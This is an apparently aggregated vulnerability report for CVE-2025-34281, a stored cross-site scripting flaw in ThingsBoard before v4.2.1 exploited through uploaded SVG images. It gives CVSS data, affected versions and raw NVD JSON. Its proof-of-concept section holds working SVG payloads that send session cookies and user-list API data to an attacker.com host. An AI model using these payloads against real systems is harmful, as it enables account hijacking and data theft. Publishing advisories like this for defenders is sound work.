Security Vulnerability Report
中文
CVE-2025-34281 CVSS 5.4 MEDIUM

CVE-2025-34281

Published: 2025-10-17 19:15:37
Last Modified: 2026-02-10 16:16:09
Source: 596c5446-0ce5-4ba2-aa66-48b3b757a647

Description

ThingsBoard in versions prior to v4.2.1 allows an authenticated user to upload malicious SVG images via the "Image Gallery", leading to a Stored Cross-Site Scripting (XSS) vulnerability. The exploit can be triggered when any user accesses the public API endpoint of the malicious SVG images, or if the malicious images are embedded in an `iframe` element, during a widget creation, deployed to any page of the platform (e.g., dashboards), and accessed during normal operations. The vulnerability resides in the `ImageController`, which fails to restrict the execution of JavaScript code when an image is loaded by the user's browser. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:thingsboard:thingsboard:*:*:*:*:*:*:*:* - VULNERABLE
ThingsBoard < v4.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-34281: ThingsBoard Stored XSS via SVG Upload --> <!-- Malicious SVG file that executes JavaScript when loaded --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" onload="alert('XSS Triggered - CVE-2025-34281'); // Steal session cookies or perform actions as the victim var img = new Image(); img.src='https://attacker.com/steal?cookie='+document.cookie; // Example: Make API call as the victim user fetch('/api/user/users?pageSize=10&page=0', {credentials: 'include'}) .then(r => r.json()) .then(data => { new Image().src='https://attacker.com/exfil?data='+btoa(JSON.stringify(data)); });"> <rect x="0" y="0" width="200" height="200" fill="red"/> <text x="50" y="100" fill="white">Malicious Image</text> </svg> <!-- Alternative payload using <script> tag --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <script type="text/javascript"> // Execute arbitrary JavaScript in the victim's session context alert('Stored XSS via SVG - CVE-2025-34281'); </script> <rect x="0" y="0" width="200" height="200" fill="blue"/> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34281", "sourceIdentifier": "596c5446-0ce5-4ba2-aa66-48b3b757a647", "published": "2025-10-17T19:15:37.197", "lastModified": "2026-02-10T16:16:08.603", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "ThingsBoard in versions prior to v4.2.1 allows an authenticated user to upload malicious SVG images via the \"Image Gallery\", leading to a Stored Cross-Site Scripting (XSS) vulnerability. The exploit can be triggered when any user accesses the public API endpoint of the malicious SVG images, or if the malicious images are embedded in an `iframe` element, during a widget creation, deployed to any page of the platform (e.g., dashboards), and accessed during normal operations. The vulnerability resides in the `ImageController`, which fails to restrict the execution of JavaScript code when an image is loaded by the user's browser. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions."}], "metrics": {"cvssMetricV40": [{"source": "596c5446-0ce5-4ba2-aa66-48b3b757a647", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "596c5446-0ce5-4ba2-aa66-48b3b757a647", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thingsboard:thingsboard:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.1", "matchCriteriaId": "DCE4C513-C695-4227-B5E7-BBD2EC014DF8"}]}]}], "references": [{"url": "https://advisory.checkmarx.net/advisory/CVE-2025-34281/", "source": "596c5446-0ce5-4ba2-aa66-48b3b757a647"}, {"url": "https://github.com/thingsboard/thingsboard/commit/b2ae6f92d12206ea185a2e882945a6b69234bf03", "source": "596c5446-0ce5-4ba2-aa66-48b3b757a647"}, {"url": "https://github.com/thingsboard/thingsboard/releases/tag/v4.2.1", "source": "596c5446-0ce5-4ba2-aa66-48b3b757a647", "tags": ["Release Notes"]}]}}